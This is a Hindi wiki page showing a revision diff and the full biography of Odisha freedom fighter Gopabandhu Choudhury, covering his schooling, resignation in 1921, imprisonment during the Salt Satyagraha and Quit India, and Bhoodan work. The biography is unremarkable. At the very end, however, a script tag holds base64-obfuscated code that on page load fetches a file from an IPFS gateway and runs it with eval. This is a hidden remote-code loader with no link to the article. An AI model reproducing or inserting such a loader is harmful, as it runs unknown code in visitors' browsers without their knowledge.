गोपबन्धु चौधरी: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replace - "अविभावक" to "अभिभावक")
m (Text replacement - " मां " to " माँ ")
Line 39: Line 39:
वर्ष [[1919]] में उड़ीसा के कुछ भागों में [[बाढ़]] ने बढ़ी तबाही मचाई और इसके बाद वहाँ पड़े भीषण [[अकाल]] ने लोगों की कमर तोड़ दी। ऐसे समय में गोपबंधु चौधरी को [[अंग्रेज़]] सरकार ने सहायता अधिकारी नियुक्त किया। लेकिन अंग्रेज़ों के ग़ैर ज़िम्मेदार उच्च अधिकारी काम के प्रति लापरवाह थे और किसी समस्या को कोई महत्व नहीं देते थे। गोपबंधु चौधरी ने उनकी तीव्र आलोचना की। [[1921]] में [[महात्मा गाँधी]] ने '[[असहयोग आन्दोलन]]' प्रारम्भ किया। इस आन्दोलन में सम्म्लित होने के लिये गोपबन्धु चौधरी ने नौकरी से त्यागपत्र दे दिया।
वर्ष [[1919]] में उड़ीसा के कुछ भागों में [[बाढ़]] ने बढ़ी तबाही मचाई और इसके बाद वहाँ पड़े भीषण [[अकाल]] ने लोगों की कमर तोड़ दी। ऐसे समय में गोपबंधु चौधरी को [[अंग्रेज़]] सरकार ने सहायता अधिकारी नियुक्त किया। लेकिन अंग्रेज़ों के ग़ैर ज़िम्मेदार उच्च अधिकारी काम के प्रति लापरवाह थे और किसी समस्या को कोई महत्व नहीं देते थे। गोपबंधु चौधरी ने उनकी तीव्र आलोचना की। [[1921]] में [[महात्मा गाँधी]] ने '[[असहयोग आन्दोलन]]' प्रारम्भ किया। इस आन्दोलन में सम्म्लित होने के लिये गोपबन्धु चौधरी ने नौकरी से त्यागपत्र दे दिया।
==क्रांतिकारी गतिविधियाँ==
==क्रांतिकारी गतिविधियाँ==
नौकरी से त्यागपत्र देने के बाद गोपबन्धु चौधरी क्रांतिकारी गतिविधियों में भाग लेने लगे थे। उन्होंने सत्याग्रहियों के प्रशिक्षण के लिये [[कटक]] के निकट 'अलाका आश्रम' की स्थापना की और स्वयं 6 वर्ष आश्रम में रहकर विभिन्न रचनात्मक कार्यों को आगे बढ़ाया। '[[नमक सत्याग्रह]]' में उन्होंने अपने प्रदेश का नेतृत्व किया और [[1930]] में गिरफ्तार कर लिये गये। इस समय अंग्रेज़ सरकार गोपबन्धु चौधरी से बड़ी बुरी तरह से चिढ़ी हुई थी। उसने गोपबन्धु चौधरी की वृद्ध मां को छोड़कर शेष [[परिवार]] के सभी सदस्यों को जेल में बन्द कर  दिया।<ref name="aa"/>
नौकरी से त्यागपत्र देने के बाद गोपबन्धु चौधरी क्रांतिकारी गतिविधियों में भाग लेने लगे थे। उन्होंने सत्याग्रहियों के प्रशिक्षण के लिये [[कटक]] के निकट 'अलाका आश्रम' की स्थापना की और स्वयं 6 वर्ष आश्रम में रहकर विभिन्न रचनात्मक कार्यों को आगे बढ़ाया। '[[नमक सत्याग्रह]]' में उन्होंने अपने प्रदेश का नेतृत्व किया और [[1930]] में गिरफ्तार कर लिये गये। इस समय अंग्रेज़ सरकार गोपबन्धु चौधरी से बड़ी बुरी तरह से चिढ़ी हुई थी। उसने गोपबन्धु चौधरी की वृद्ध माँ को छोड़कर शेष [[परिवार]] के सभी सदस्यों को जेल में बन्द कर  दिया।<ref name="aa"/>
====जनसेवा====
====जनसेवा====
बाद में जैल से रिहा होने के बाद गोपबन्धु चौधरी जनसेवा के कार्य मे जुट गए। [[1934]] के [[बिहार]] के भयंकर [[भूकम्प]] में भी उन्होंने प्रभावित लोगों की सेवा की। वे 'गांधी सेवा संघ' के सक्रिय सदस्य थे। [[1938]] में उन्हें 'उत्कल प्रदेश कांग्रेस कमेटी' का अध्यक्ष चुना गया।
बाद में जैल से रिहा होने के बाद गोपबन्धु चौधरी जनसेवा के कार्य मे जुट गए। [[1934]] के [[बिहार]] के भयंकर [[भूकम्प]] में भी उन्होंने प्रभावित लोगों की सेवा की। वे 'गांधी सेवा संघ' के सक्रिय सदस्य थे। [[1938]] में उन्हें 'उत्कल प्रदेश कांग्रेस कमेटी' का अध्यक्ष चुना गया।

Revision as of 14:06, 2 June 2017

गोपबन्धु चौधरी
पूरा नाम गोपबन्धु चौधरी
जन्म 8 मई, 1895
जन्म भूमि कटक, उड़ीसा
मृत्यु 29 अप्रैल, 1958
नागरिकता भारतीय
प्रसिद्धि स्वतंत्रता सेनानी
धर्म हिन्दू
जेल यात्रा गोपबन्धु चौधरी को 'नमक सत्याग्रह' के दौरान 1930 में और फिर 'भारत छोड़ो आन्दोलन' के समय 1942 में गिरफ़्तार किया गया था।
विद्यालय प्रेसीडेंसी कॉलेज, कोलकाता
शिक्षा एम.ए.
विशेष योगदान 1950 में इन्होंने 'सर्वोदय सम्मेलन' का आयोजन किया था और विनोबा भावे के 'भूदान आंदोलन' में भी सक्रिय रहे।
संबंधित लेख महात्मा गाँधी, विनोबा भावे, भूदान आन्दोलन, गाँधी युग
अन्य जानकारी गोपबन्धु चौधरी 'गांधी सेवा संघ' के सक्रिय सदस्य थे। 1938 में उन्हें 'उत्कल प्रदेश कांग्रेस कमेटी' का अध्यक्ष चुना गया था।

गोपबन्धु चौधरी (अंग्रेज़ी: Gopabandhu Choudhury, जन्म- 8 मई, 1895, कटक, उड़ीसा; मृत्यु- 29 अप्रैल, 1958) को उड़ीसा के प्रमुख स्वतंत्रता सेनानियों में गिना जाता है। भारत की तत्कालीन अंग्रेज़ सरकार ने इन्हें उड़ीसा में अकाल पड़ने के समय सहायता अधिकारी नियुक्त किया था। जब गाँधीजी ने 'असहयोग आन्दोलन' प्रारम्भ किया, तब गोपबन्धु चौधरी ने नौकरी से त्यागपत्र दे दिया और आन्दोलन में सम्मिलित हो गए। इन्होंने विनोबा भावे के प्रसिद्ध 'भूदान आन्दोलन' में भी सक्रिय भूमिका निभाई थी।[1]

जन्म तथा शिक्षा

उड़ीसा के प्रमुख स्वतंत्रता सेनानी और रचनात्मक कार्यकर्ता गोपबंधु चौधरी का जन्म 8 मई, 1895 ई. को उड़ीसा के कटक में हुआ था। उन्होंने 1914 में कोलकाता (भूतपूर्व कलकत्ता) के 'प्रेसीडेंसी कॉलेज' से गणित में एम.ए. की परीक्षा पास की थी। गोपबन्धु चौधरी अपनी आगे की शिक्षा जारी रखने के लिये इंग्लैण्ड जाना चाहते थे, किन्तु प्रथम विश्वयुद्ध आरंभ हो जाने और पिता की मृत्यु हो जाने के कारण वे नहीं जा सके।

नौकरी से त्यागपत्र

वर्ष 1919 में उड़ीसा के कुछ भागों में बाढ़ ने बढ़ी तबाही मचाई और इसके बाद वहाँ पड़े भीषण अकाल ने लोगों की कमर तोड़ दी। ऐसे समय में गोपबंधु चौधरी को अंग्रेज़ सरकार ने सहायता अधिकारी नियुक्त किया। लेकिन अंग्रेज़ों के ग़ैर ज़िम्मेदार उच्च अधिकारी काम के प्रति लापरवाह थे और किसी समस्या को कोई महत्व नहीं देते थे। गोपबंधु चौधरी ने उनकी तीव्र आलोचना की। 1921 में महात्मा गाँधी ने 'असहयोग आन्दोलन' प्रारम्भ किया। इस आन्दोलन में सम्म्लित होने के लिये गोपबन्धु चौधरी ने नौकरी से त्यागपत्र दे दिया।

क्रांतिकारी गतिविधियाँ

नौकरी से त्यागपत्र देने के बाद गोपबन्धु चौधरी क्रांतिकारी गतिविधियों में भाग लेने लगे थे। उन्होंने सत्याग्रहियों के प्रशिक्षण के लिये कटक के निकट 'अलाका आश्रम' की स्थापना की और स्वयं 6 वर्ष आश्रम में रहकर विभिन्न रचनात्मक कार्यों को आगे बढ़ाया। 'नमक सत्याग्रह' में उन्होंने अपने प्रदेश का नेतृत्व किया और 1930 में गिरफ्तार कर लिये गये। इस समय अंग्रेज़ सरकार गोपबन्धु चौधरी से बड़ी बुरी तरह से चिढ़ी हुई थी। उसने गोपबन्धु चौधरी की वृद्ध माँ को छोड़कर शेष परिवार के सभी सदस्यों को जेल में बन्द कर दिया।[1]

जनसेवा

बाद में जैल से रिहा होने के बाद गोपबन्धु चौधरी जनसेवा के कार्य मे जुट गए। 1934 के बिहार के भयंकर भूकम्प में भी उन्होंने प्रभावित लोगों की सेवा की। वे 'गांधी सेवा संघ' के सक्रिय सदस्य थे। 1938 में उन्हें 'उत्कल प्रदेश कांग्रेस कमेटी' का अध्यक्ष चुना गया।

सम्मेलन का आयोजन

1942 के 'भारत छोड़ो आन्दोलन' में गोपबन्धु चौधरी और उनके परिवार को फिर गिरफ्तार कर लिया गया। उनका आश्रम ब्रिटिश सरकार ने तहस-नहस कर डाला। जेल से छूटने के बाद वे फिर रचनात्मक कार्यों में ही लगे रहे। 1950 में उन्होंने 'सर्वोदय सम्मेलन' का आयोजन किया। विनोबा भावे के 'भूदान आंदोलन' में भी वे सक्रिय रहे और विनोबा जी की उड़ीसा यात्रा के समय गोपबन्धु चौधरी के प्रयत्न से पुरी में 'अखिल भारतीय सर्वोदय सम्मेलन' आयोजित किया गया।

निधन

भारत की आज़ादी के लिए कई क्रांतिकारी गतिविधियों में भाग लेने वाले गाँधीवादी कार्यकर्ता गोपबन्धु चौधरी का निधन 29 अप्रैल, 1958 ई. को हुआ।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 244 |

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>